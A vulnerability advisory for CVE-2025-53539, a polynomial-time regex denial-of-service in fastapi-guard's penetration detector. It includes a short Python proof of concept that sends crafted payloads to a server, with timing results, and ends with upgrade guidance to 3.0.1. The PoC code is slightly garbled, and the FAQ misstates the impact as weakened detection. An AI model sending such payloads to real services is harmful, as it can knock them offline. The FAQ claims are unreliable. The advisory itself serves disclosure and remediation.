CVE-2025-53539: ReDoS in fastapi-guard's penetration attempts detector
Summary
fastapi-guard detects penetration attempts by using regex patterns to scan incoming requests. However, some of the regex patterns used in detection are extremely inefficient and can cause polynomial complexity backtracks when handling specially crafted inputs.
It is not as severe as exponential complexity ReDoS, but still downgrades performance and allows DoS exploits. An attacker can trigger high cpu usage and make a service unresponsive for hours by sending a single request in size of KBs.
PoC
e.g. https://github.com/rennf93/fastapi-guard/blob/1e6c2873bfc7866adcbe5fc4da72f2d79ea552e7/guard/handlers/suspatternshandler.py#L31C79-L32C7
python payload = lambda n: '<'n+ ' 'n+ 'style=' + '"'n + ' 'n+ 'url('n # complexity: O(n^5)
print(requests.post("http://172.24.1.3:8000/", data=payload(50)).elapsed) # 0:00:03.771120 print(requests.post("http://172.24.1.3:8000/", data=payload(100)).elapsed) # 0:01:17.952637 print(requests.post("http://172.24.1.3:8000/", data=payload(200)).elapsed) # timeout (>15min)
Single-threaded uvicorn workers can not handle any other concurrent requests during the elapsed time.
Impact
Penetration detection is enabled by default. Services that use fastapi-guard middleware without explicitly setting enablepenetrationdetection=False are vulnerable to DoS.
Other sources
FastAPI Guard is a security library for FastAPI that provides middleware to control IPs, log requests, and detect penetration attempts. fastapi-guard's penetration attempts detection uses regex to scan incoming requests. However, some of the regex patterns used in detection are extremely inefficient and can cause polynomial complexity backtracks when handling specially crafted inputs. This vulnerability is fixed in 3.0.1.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2025-53539?
The severity of CVE-2025-53539 is considered medium due to the exploitability of regex patterns that may not effectively detect all penetration attempts.
How do I fix CVE-2025-53539?
To fix CVE-2025-53539, upgrade FastAPI Guard to version 3.0.1 or later, which addresses the vulnerabilities in the regex patterns.
What software is affected by CVE-2025-53539?
CVE-2025-53539 affects FastAPI Guard versions prior to 3.0.1.
What type of vulnerabilities does CVE-2025-53539 exploit?
CVE-2025-53539 exploits weaknesses in regex patterns used for detecting penetration attempts.
Can CVE-2025-53539 impact my web applications?
Yes, CVE-2025-53539 can impact web applications using FastAPI Guard by reducing the effectiveness of security measures against penetration attempts.